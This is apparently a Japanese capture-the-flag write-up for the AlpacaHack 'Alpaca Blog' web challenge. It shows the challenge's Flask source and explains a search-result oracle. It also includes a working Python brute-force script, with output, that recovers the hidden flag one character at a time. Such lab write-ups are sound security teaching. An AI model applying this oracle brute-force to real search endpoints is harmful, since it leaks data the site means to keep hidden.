FEAT:🚩 Daily-AlpacaHack 「Alpaca Blog」Easy
検索処理のオラクルを利用したフラグ文字列の総当たり
FEAT:🚩 Daily-AlpacaHack 「Alpaca Blog」Easy
20260720-daily_alpaca-web-easy-alpaca_blog
Summary
本問は,検索処理のオラクル (filtered の有無によるHTML出力結果の違い) を利用して,総当たりでフラグを復元するWeb問題です.
- Category: Web
- Description: LLMがあればブログ書くの簡単だな
- Tools & TechStack:
- Python
- BeautifulSoup
- Release: 2026/07/20
階層構造
1
2
3
4
5
6
7
8
9
.
├── compose.yaml
└── web
├── app.py
├── Dockerfile
└── templates
└── index.html
3 directories, 4 files
ソースコードの調査
app.py を見ると,/ エンドポイントへの q クエリに指定した文字列が posts[] 配列の title 又は content に含まれる場合に,上位4件がレスポンスされるようになっています.
また,検索結果としてヒットした記事の中に title が Flag の記事が含まれていた場合,その記事はレスポンスの配列から除外される仕組みになっています.
web/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, render_template, request
import re
import os
app = Flask(__name__)
FLAG = os.environ.get("FLAG", "Alpaca{dummy}")
assert re.fullmatch(r"Alpaca{\w+}", FLAG), "Invalid flag format"
posts = [
{
"title": "Flag",
"content": FLAG
},
#...
]
@app.get("/")
def index():
q = request.args.get("q", "")
filtered = [post for post in posts if q in post["title"] or q in post["content"]][:4] # title・contentにqが含まれるものの上位4件
# 検索結果が0件
if len(filtered) == 0:
return render_template("index.html", filtered=None)
return render_template("index.html", filtered=[post for post in filtered if post["title"] != "Flag"]) # titleがFlagである記事を除外
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)
オラクル的実装
直接 Flag の記事を読むことはできません.
しかし,q クエリパラメータに Flag の一部が含まれる場合と,そうでない場合でレスポンスが異なるオラクル的な構造になっています.
- 検索結果がゼロ件の時は,
if len(filtered) == 0:によって,filtered=Noneの結果が返ります.ここで,index.htmlはタグを生成しません. - しかし,検索に
Flagの一部が含まれる場合は,filtered=[post for post in filtered if post["title"] != "Flag"]によって,空の配列 (又はその他の記事) が返ってきます.これは,iterableなため,<ul>が生成されます.
この差異を利用して,総当たりすることができます.
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<main>
<!-- ... -->
{% if filtered is iterable %}
<ul>
{% for post in filtered %}
<li>
<article>
<h2>{{ post.title }}</h2>
<p>{{ post.content }}</p>
</article>
</li>
{% endfor %}
</ul>
{% endif %}
</main>
オラクルを利用したブルートフォース攻撃
Flagが Alpaca{} の形式であることは既知なため,以下のように <main> <ul> の有無で判定できます.
<main>内に<ul>タグが存在しない:filtered = None<main>内に中身が空の<ul></ul>タグが存在する:filtered = []
brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import string
import requests
import time
import random
from bs4 import BeautifulSoup
words = (
string.ascii_lowercase +
string.ascii_uppercase +
string.digits +
"_-!?}"
)
flag = list("Alpaca{")
while (flag[-1] != "}"):
for word in words:
url = f"http://localhost:3000?q={''.join(flag)}{word}"
time.sleep(random.uniform(0.05, 0.5))
res = requests.get(url)
soup = BeautifulSoup(res.text, 'html.parser')
if soup.select_one("main ul"):
flag.append(word)
print(flag)
break
else:
continue
print("".join(flag))
brute.py の実行結果
1
2
3
4
5
$ python3 brute.py
['A', 'l', 'p', 'a', 'c', 'a', '{', 'R']
#...
['A', 'l', 'p', 'a', 'c', 'a', '{', 'R', 'E', 'D', 'A', 'C', 'T', 'E', 'D', '}']
Alpaca{REDACTED}
This post is licensed under CC BY 4.0 by the author.